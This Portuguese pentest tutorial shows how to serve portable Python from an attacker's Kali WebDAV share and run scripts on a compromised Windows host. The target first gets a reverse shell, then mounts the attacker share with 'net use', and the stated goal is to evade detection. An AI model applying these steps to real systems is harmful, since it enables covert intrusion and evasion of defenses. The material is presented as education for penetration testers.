Ok, você deve estar se perguntando: “Como assim Python sem python?”. Este artigo tem como objetivo mostrar formas alternativas de utilizar a linguagem Python no sistema alvo sem que seja necessário a instalação do mesmo.  Por que você faria isto? Conhecer estas alternativas pode ser bastante útil ao pentester dependendo das características do projeto que esteja realizando.

O que vamos fazer é o seguinte: Usar o Python a partir de uma pasta virtual WebDAV. A grande vantagem de se utilizar o Python em uma pasta virtual WebDAV é que não é necessário copiar manualmente cada script para a máquina alvo, minimizando a chance de detecção dos scripts Python por sistemas de defesas. No teste de invasão, assim como num ataque real, o atacante (ou o profissional simulando um ataque) tentará minimizar as chances de ser notado pelo sistema, evitando disparar no sistema algum alerta que possa comprometer o sucesso da operação.

Pois bem, ei aqui a descrição do método proposto:

Primeiro, será necessário configurar um servidor WebDAV no Kali Linux:

root@kali# a2enmod dav

root@kali# a2enmod dav_fs

root@kali# a2enmod allowmethods

Crie o diretório do WebDAV:

root@kali# mkdir /var/www/html/webdav

Crie também dois diretórios dentro do WebDAV, sendo que cada um irá conter a versão específica do Python (diretório python32 para a versão x86 do Python e diretório python64 para a versão x86_64 do Python):

root@kali# mkdir /var/www/html/webdav/python32

root@kali# mkdir /var/www/html/webdav/python64

Realize o download do Python portável em https://python.org/downloads/windows e extração manual dos arquivos (Windows x86-64 embeddable zip file e Windows x86 embeddable zip file) em seus respectivos diretórios (Python portável x86-64 deve ser extraído para o diretório /var/www/html/webdav/python64 e o Python portável x86 deve ser extraído para o diretório /var/www/html/webdav/python32).

Configure o arquivo /etc/apache2/apache2.conf, inserindo as seguintes linhas:

<Directory /var/www/html/webdav/>

                Options Indexes

                DAV On

                AllowMethods OPTIONS GET HEAD POST PROPFIND

</Directory>

Reinicie o Apache:

root@kali# systemctl restart apache2

Consiga uma shell reversa via backdoor (pycat, netcat, powercat, etc) e obtenha um cmd funcional para execução local de comandos.

Para cada sessão de shell reversa, será necessário configurar a variável de ambiente PATH do Windows para que o Python portável reconheça o arquivo vcruntime140.dll. Assim, insira o seguinte comando logo após obter o shell reverso:

C:\ > set PATH=%temp%;%path%

No diretório temporário (variável %temp%) realize o upload do arquivo vcruntime140.dll (o mesmo já vem incluso dentro do arquivo Windows x86-64 embeddable zip file ou Windows x86 embeddable zip file). Somente preste atenção para fazer o upload correto do arquivo. Ou seja, faça o upload do vcruntime140.dll da arquitetura de x86-64 para o Windows com essa mesma arquitetura e o upload do arquivo vcruntime140.dll da arquitetura de x64 para o Windows com arquitetura de 64 bits.

Monte o diretório virtual como uma partição de disco:

C:\ > net use w: http://IP_Kali_Linux/webdav

C:\ > w:

W:\ > cd python64

W:\python64 >

Execute o script Python:

W:\python64 > python.exe script.py

Para scripts que requerem bibliotecas de terceiros (como por exemplo a biblioteca Pillow), a seguinte técnica pode ser utilizada:

  1. Instale o Python no Windows.
  • Via pip, instale o pacote necessário, como por exemplo a biblioteca Pillow:

C:\ > pip install pillow

  • Os arquivos serão instalados dentro do diretório sites-packages do Windows:

C:\ > pip show pillow

Name: Pillow

Version: 7.1.2

Summary: Python Imaging Library (Fork)

Home-page: https://python-pillow.org

Author: Alex Clark (PIL Fork Author)

Author-email: aclark@python-pillow.org

License: HPND

Location: C:\users\usuario\appdata\local\programs\python\python38\lib\site-packages

Requires:

Required-by:

  • Copie o diretório C:\users\usuario\appdata\local\programs\python\python38\lib\site-packages para /var/www/html/python64/sites-packages (ou /var/www/html/python32/sites-packages, dependendo da arquitetura em teste).
  • Insira o seguinte conteúdo no início do script:

import sys

sys.path.append(‘W:\\python64\\site-packages’)

  • Execute o script:

W:\python64 > python.exe script.py

Visits: 289